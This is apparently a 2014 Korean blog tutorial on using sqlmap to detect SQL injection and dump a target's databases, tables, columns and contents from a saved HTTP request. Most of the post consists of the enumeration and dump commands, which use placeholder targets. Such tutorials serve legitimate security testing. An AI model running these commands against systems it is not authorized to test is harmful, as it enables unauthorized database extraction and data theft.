SQL Injection and Exploitation using sqlmap

5/05/2014 0 Comments

Sqlmap은 Opensource Project로 자동으로 SQL Injectable 취약성을 점검하고 Exploit을 수행합니다.

Authentication쪽에 SQL Injection 취약성이 존재할 경우,  적절한 SQL Query를 전송해서 Bypass할 수 있지만, Blind SQL Injection 취약성의 경우는 Exploit을 작성하기 번거롭습니다.
이러한 경우, Sqlmap을 사용해서 효과적으로 공격할 수 있습니다.

SQL Injection 취약성을 확인하고 Database를 가져오기 위해서 아래와 같이 Sqlmap을 사용할 수 있습니다.
  1. database search
    h2spice-ui-MacBook-Pro:sqlmapproject-sqlmap-344d3f4 h2spice$ ./sqlmap.py -r sample.txt --dbs --timeout 5
    
    /**
    -r REQUESTFILE      Load HTTP request from a file
    --dbs               Enumerate DBMS databases
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    **/
    

  2. obtaining database
    h2spice-ui-MacBook-Pro:sqlmapproject-sqlmap-344d3f4 h2spice$ ./sqlmap.py -r sample.txt -D [DB_Name] --table
    h2spice-ui-MacBook-Pro:sqlmapproject-sqlmap-344d3f4 h2spice$ ./sqlmap.py -r sample.txt -T [DB_Table] --column
    h2spice-ui-MacBook-Pro:sqlmapproject-sqlmap-344d3f4 h2spice$ ./sqlmap.py -r sample.txt --dump -T [DB_Table] -D [DB_Name]
    
    /**
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table to enumerate
    -C COL              DBMS database table column to enumerate
    --dump              Dump DBMS database table entries
    **/

Database를 추출하기 위해서는 우선 어떤 Database가 존재하고있는지 확인해야합니다.

h2spice-ui-MacBook-Pro:sqlmapproject-sqlmap-344d3f4 h2spice$ ./sqlmap.py -r sample.txt --dbs --timeout 5



Database의 Table 정보를 수집한 다음,  Table 내 Column 혹은 Field 정보를 수집합니다.

h2spice-ui-MacBook-Pro:sqlmapproject-sqlmap-344d3f4 h2spice$ ./sqlmap.py -r sample.txt -T [DB_Table] --column



column 정보를 모두 수집했다면, 이제 Database를 추출할 수 있습니다.

h2spice-ui-MacBook-Pro:sqlmapproject-sqlmap-344d3f4 h2spice$ ./sqlmap.py -r sample.txt --dump -T [DB_Table] -D [DB_Name]



Database안의 Data가 출력되기 시작하고, 완료되면 아래와 같이 Databse의 Table에 맞게 Data를 확인할 수 있습니다.


참고로 Database 추출이 완료되면 Excel(.csv)파일로도 생성합니다. 매우 편리해요 :)





If you need my help, tell me anytime. Facebook